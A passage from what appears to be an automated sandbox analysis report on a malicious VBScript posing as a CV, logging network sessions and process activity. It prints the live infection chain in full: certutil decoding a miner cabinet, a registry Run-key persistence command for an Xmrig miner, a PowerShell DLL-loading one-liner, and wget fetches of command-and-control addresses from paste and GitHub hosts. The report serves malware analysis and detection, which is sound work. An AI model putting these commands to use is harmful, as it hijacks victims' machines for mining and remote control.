2024-08-05 09:59:13 UTC	707	IN	Data Raw: 31 30 65 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d Data Ascii: 10e2<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" content=
2024-08-05 09:59:13 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 20 53 65 72 76 69 63 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 Data Ascii: <meta property="og:url" content="https://rentry.co/" /> <meta property="og:title" content="Rentry.co - Markdown Paste Service" /> <meta property="og:description" content="Markdown paste service with preview, custom urls and editing." /> <meta
2024-08-05 09:59:13 UTC	1369	IN	Data Raw: 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 74 61 2d 64 6f 6d 61 69 6e 27 2c 20 68 6e 20 2b 20 27 2c 72 65 6e 74 72 79 27 29 3b 20 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 63 72 69 70 74 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 20 20 0a 20 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6d 2d 30 20 70 2d 30 22 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 6f 6f 74 68 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 6e 6f 2d 67 75 74 74 65 72 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 3c 64 69 76 20 63 6c 61 73 73 3d Data Ascii: = true; script.setAttribute('data-domain', hn + ',rentry'); document.head.appendChild(script);</script> </head><body class="m-0 p-0"> <div class="container container-smooth"> <div class="row no-gutters"> <div class=
2024-08-05 09:59:13 UTC	885	IN	Data Raw: 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 61 65 35 65 65 65 30 36 39 33 32 31 38 34 39 27 2c 74 3a 27 4d 54 63 79 4d 6a 67 31 4d 54 6b 31 4d 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 61 2e 6e 6f 6e 63 65 3d 27 27 3b 61 2e 73 72 63 3d 27 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 73 63 72 69 70 74 73 2f 6a 73 64 2f 6d 61 69 6e 2e 6a 73 27 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 Data Ascii: w.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ae5eee069321849',t:'MTcyMjg1MTk1My4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getE
2024-08-05 09:59:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49759	104.26.3.16	443	7252	C:\Users\user\AppData\Local\Temp\DLLD067.tmp

Timestamp	Bytes transferred	Direction	Data
2024-08-05 09:59:13 UTC	140	OUT	GET /zsbkz/raw%EBH%02 HTTP/1.1 Host: rentry.co User-Agent: Wget/1.21.4 Accept: / Accept-Encoding: identity Connection: Keep-Alive
2024-08-05 09:59:13 UTC	652	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Aug 2024 09:59:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y4cKftFyIpBpqrnyTF0lByeVchWKxZZln%2FXsFZBTwUIXJCLHNZBREj4P8HSk54NHcKw23PzN0V3DWAjxFPozean3MGMhMl3VBaK6kP8Lxbo9VGGkinw0rScmJw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ae5eee60b17426b-EWR
2024-08-05 09:59:13 UTC	717	IN	Data Raw: 31 30 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d Data Ascii: 10e1<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" content=
2024-08-05 09:59:13 UTC	1369	IN	Data Raw: 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 20 53 65 72 76 69 63 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 Data Ascii: erty="og:url" content="https://rentry.co/" /> <meta property="og:title" content="Rentry.co - Markdown Paste Service" /> <meta property="og:description" content="Markdown paste service with preview, custom urls and editing." /> <meta property="
2024-08-05 09:59:13 UTC	1369	IN	Data Raw: 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 74 61 2d 64 6f 6d 61 69 6e 27 2c 20 68 6e 20 2b 20 27 2c 72 65 6e 74 72 79 27 29 3b 20 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 63 72 69 70 74 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 20 20 0a 20 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6d 2d 30 20 70 2d 30 22 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 6f 6f 74 68 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 6e 6f 2d 67 75 74 74 65 72 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 31 32 22 3e 0a Data Ascii: cript.setAttribute('data-domain', hn + ',rentry'); document.head.appendChild(script);</script> </head><body class="m-0 p-0"> <div class="container container-smooth"> <div class="row no-gutters"> <div class="col-12">
2024-08-05 09:59:13 UTC	874	IN	Data Raw: 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 61 65 35 65 65 65 36 30 62 31 37 34 32 36 62 27 2c 74 3a 27 4d 54 63 79 4d 6a 67 31 4d 54 6b 31 4d 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 61 2e 6e 6f 6e 63 65 3d 27 27 3b 61 2e 73 72 63 3d 27 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 73 63 72 69 70 74 73 2f 6a 73 64 2f 6d 61 69 6e 2e 6a 73 27 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 Data Ascii: ;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ae5eee60b17426b',t:'MTcyMjg1MTk1My4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByT
2024-08-05 09:59:13 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-08-05 09:59:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49760	185.199.110.133	443	3396	C:\Users\user\AppData\Local\Temp\DLL6063.tmp

Timestamp	Bytes transferred	Direction	Data
2024-08-05 09:59:19 UTC	179	OUT	GET /DevilBot000/Client_IP_PORT/main/IP_PORT HTTP/1.1 Host: raw.githubusercontent.com User-Agent: Wget/1.21.4 Accept: / Accept-Encoding: identity Connection: Keep-Alive
2024-08-05 09:59:19 UTC	898	IN	HTTP/1.1 200 OK Connection: close Content-Length: 24 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "b582075db8192cfa28b53b677d81049ea870e54b39972b2026d92429dad956d1" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: EA88:27BAEB:8186E0:917D28:66B0A275 Accept-Ranges: bytes Date: Mon, 05 Aug 2024 09:59:19 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890025-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1722851959.496912,VS0,VE53 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 3ccb147ab1f3bf06e1229433dee8884024ec2ebe Expires: Mon, 05 Aug 2024 10:04:19 GMT Source-Age: 0
2024-08-05 09:59:19 UTC	24	IN	Data Raw: 30 2e 74 63 70 2e 69 6e 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 37 33 30 39 0a Data Ascii: 0.tcp.in.ngrok.io:17309

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49762	104.26.3.16	443

Timestamp	Bytes transferred	Direction	Data
2024-08-05 09:59:26 UTC	133	OUT	GET /zsbkz/raw HTTP/1.1 Host: rentry.co User-Agent: Wget/1.21.4 Accept: / Accept-Encoding: identity Connection: Keep-Alive
2024-08-05 09:59:26 UTC	698	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 09:59:26 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 23 Connection: close vary: Origin x-xss-protection: 1; mode=block x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains Cache-Control: Vary CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gcBRE263SLWMHiHMTRaTClVfL8TSN8kgMOvDa6uSk3jb6s2IjKs4VLpccu%2BjF%2FsyFYHKviy0UrbQ5uZX0EaKw9i3FLrhaWzZk6yw9Zvul2x0AR4%2BclgtMs%2BrTw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ae5ef3709d4430d-EWR
2024-08-05 09:59:26 UTC	23	IN	Data Raw: 30 2e 74 63 70 2e 69 6e 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 37 34 31 Data Ascii: 0.tcp.in.ngrok.io:11741

Target ID:	0
Start time:	05:57:18
Start date:	05/08/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\CV.vbs"
Imagebase:	0x7ff6697c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:57:21
Start date:	05/08/2024
Path:	C:\Windows\System32\certutil.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\certutil.exe" -decode C:\Users\user\AppData\Local\Temp\Encode.txt C:\miner\DarkMiner.cab
Imagebase:	0x7ff757690000
File size:	1'651'712 bytes
MD5 hash:	F17616EC0522FC5633151F7CAA278CAA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:57:21
Start date:	05/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:57:21
Start date:	05/08/2024
Path:	C:\Windows\System32\expand.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\expand.exe" C:\miner\DarkMiner.cab -F:* C:\miner\
Imagebase:	0x7ff7af550000
File size:	67'584 bytes
MD5 hash:	3080AD9250254478269B486EC15C25FF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:57:21
Start date:	05/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:57:22
Start date:	05/08/2024
Path:	C:\Windows\System32\cscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cscript.exe" C:\miner\mine_start.vbs
Imagebase:	0x7ff7b3f00000
File size:	161'280 bytes
MD5 hash:	24590BF74BBBBFD7D7AC070F4E3C44FD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:57:22
Start date:	05/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:57:22
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat
Imagebase:	0x7ff70b6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:57:22
Start date:	05/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	05:57:22
Start date:	05/08/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f
Imagebase:	0x7ff6955e0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:57:22
Start date:	05/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000A.00000002.3169590185.00000248EBAF0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000A.00000002.3177023053.00000248ED60F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000A.00000002.3177023053.00000248ED60F000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000A.00000002.2958519401.0000000140C22000.00000002.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000A.00000002.3169590185.00000248EBB09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000A.00000002.2959232520.0000000180ECC000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000A.00000002.2959232520.0000000180701000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000A.00000002.2959232520.0000000180701000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000A.00000002.3169590185.00000248EBB1E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Linux_Trojan_Pornoasset_927f314f, Description: unknown, Source: 0000000A.00000002.2959232520.000000018002A000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Linux_Trojan_Pornoasset_927f314f, Description: unknown, Source: 0000000A.00000002.3177023053.00000248ECF10000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000A.00000002.3177023053.00000248ED7B2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Linux_Trojan_Pornoasset_927f314f, Description: unknown, Source: 0000000A.00000002.2934615979.0000000140001000.00000020.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	05:57:25
Start date:	05/08/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ee3yyyau.cmdline"
Imagebase:	0x7ff710640000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:57:25
Start date:	05/08/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7FDD.tmp" "c:\Users\user\AppData\Local\Temp\CSC698B17CA485A4DF3BFC9C5C4DCCE15E7.TMP"
Imagebase:	0x7ff6558f0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:57:33
Start date:	05/08/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\miner\mine_start.vbs"
Imagebase:	0x7ff6697c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:57:34
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat
Imagebase:	0x7ff70b6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: conhost.exePID: 8100, Parent PID: 8092

General

Target ID:	15
Start time:	05:57:34
Start date:	05/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	05:57:34
Start date:	05/08/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f
Imagebase:	0x7ff6955e0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:57:34
Start date:	05/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: csc.exePID: 7260, Parent PID: 8156

General

Target ID:	18
Start time:	05:57:35
Start date:	05/08/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\weizmren.cmdline"
Imagebase:	0x7ff710640000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:57:35
